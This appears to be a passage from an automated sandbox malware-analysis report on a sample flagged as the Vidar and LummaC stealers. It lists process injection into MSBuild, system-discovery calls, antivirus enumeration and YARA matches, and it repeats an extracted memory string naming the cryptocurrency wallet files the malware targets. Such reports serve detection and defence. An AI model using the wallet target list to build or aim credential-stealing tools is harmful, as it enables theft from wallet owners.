Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe

Code function: 0_2_003EE013 cpuid

0_2_003EE013

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_003DC085
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetLocaleInfoW,	0_2_003D622B
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: EnumSystemLocalesW,	0_2_003DC327
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: EnumSystemLocalesW,	0_2_003DC372
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	0_2_004123DB
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: EnumSystemLocalesW,	0_2_003DC40D
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_003DC498
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_0041456E
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetLocaleInfoW,	0_2_003DC6EB
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_003DC814
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetLocaleInfoW,	0_2_003DC91A
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_003DC9E9
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	0_2_00416A48
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_00417B38
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	0_2_00416D66
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: EnumSystemLocalesW,	0_2_003D5D7F
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00415DBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0042B1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_0042B2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_0042B3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_0042B388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	1_2_0042AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	1_2_00425503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_0042B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	1_2_004275BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	1_2_0042B676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_00428EE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429E8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	1_2_0042E68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00427696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_0042B743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	1_2_0042E7C4
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	8_2_0007C085
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetLocaleInfoW,	8_2_0007622B
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: EnumSystemLocalesW,	8_2_0007C327
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: EnumSystemLocalesW,	8_2_0007C372
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: EnumSystemLocalesW,	8_2_0007C40D
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_0007C498
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetLocaleInfoW,	8_2_0007C6EB
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0007C814
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetLocaleInfoW,	8_2_0007C91A
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_0007C9E9
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: EnumSystemLocalesW,	8_2_00075D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe

Code function: 0_2_003C7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_003C7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HCAEHDHDAK.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2729402755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3edad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3edad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VLSiVR4Qxs.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6112, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 